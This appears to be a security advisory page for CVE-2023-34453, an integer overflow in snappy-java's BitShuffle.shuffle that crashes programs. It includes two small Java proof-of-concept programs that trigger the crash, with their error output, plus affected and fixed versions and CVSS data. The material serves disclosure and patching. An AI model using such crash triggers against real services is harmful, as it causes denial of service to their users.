Medium

snappy-java's Integer Overflow vulnerability in shuffle leads to DoS

  • Disclosed: 15.06.2023
  • Updated: 11.10.2026 13:20

Summary

Due to unchecked multiplications, an integer overflow may occur, causing a fatal error.

Impact

Denial of Service

Description

The function shuffle(int[] input) in the file BitShuffle.java receives an array of integers and applies a bit shuffle on it. It does so by multiplying the length by 4 and passing it to the natively compiled shuffle function.

java
public static byte[] shuffle(int[] input) throws IOException {
        byte[] output = new byte[input.length * 4];
        int numProcessed = impl.shuffle(input, 0, 4, input.length * 4, output, 0);
        assert(numProcessed == input.length * 4);
        return output;
    }

Since the length is not tested, the multiplication by four can cause an integer overflow and become a smaller value than the true size, or even zero or negative. In the case of a negative value, a “java.lang.NegativeArraySizeException” exception will raise, which can crash the program. In a case of a value that is zero or too small, the code that afterwards references the shuffled array will assume a bigger size of the array, which might cause exceptions such as “java.lang.ArrayIndexOutOfBoundsException”. The same issue exists also when using the “shuffle” functions that receive a double, float, long and short, each using a different multiplier that may cause the same issue.

Steps To Reproduce

Compile and run the following code:

java
package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x40000000];
        byte[] shuffled = BitShuffle.shuffle(original);
        System.out.println(shuffled[0]);
    }
}

The program will crash, showing the following error (or similar):

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException: Index 0 out of bounds for length 0
	at org.example.Main.main(Main.java:12)

Process finished with exit code 1

Alternatively - compile and run the following code:

java
package org.example;
import org.xerial.snappy.BitShuffle;

import java.io.*;


public class Main {

    public static void main(String[] args) throws IOException {
        int[] original = new int[0x20000000];
        byte[] shuffled = BitShuffle.shuffle(original);
    }
}

The program will crash with the following error (or similar):

Exception in thread "main" java.lang.NegativeArraySizeException: -2147483648
	at org.xerial.snappy.BitShuffle.shuffle(BitShuffle.java:108)
	at org.example.Main.main(Main.java:11)

Affected software

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PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.xerial.snappy:snappy-java < 1.1.10.1 1.1.10.1

References

CVSS score 5.9/10
CVSS vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-190
Platform
Java / Kotlin (Maven)
Package
org.xerial.snappy:snappy-java
Disclosed
15.06.2023
Updated
11.10.2026 13:20

Sources and licenses

OSV / GitHub Advisory Database - GHSA-pqr6-cmr2-h8hf - CC BY 4.0

Vulnerability history: org.xerial.snappy:snappy-java

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

Total entries
4
First → latest
06.2023 09.2023
Without a fix
0
Exploited in attacks
0

Severity breakdown

  • High 2
  • Medium 2

Disclosures per year

  1. 2023: 4
  2. 2024: 0
  3. 2025: 0
  4. 2026: 0
  1. High · 7.5 CVE-2023-34455 < 1.1.10.1 1.1.10.1
  2. Medium · 5.9 CVE-2023-34454 < 1.1.10.1 1.1.10.1
  3. snappy-java's Integer Overflow vulnerability in shuffle leads to DoS this entry
    Medium · 5.9 CVE-2023-34453 < 1.1.10.1 1.1.10.1

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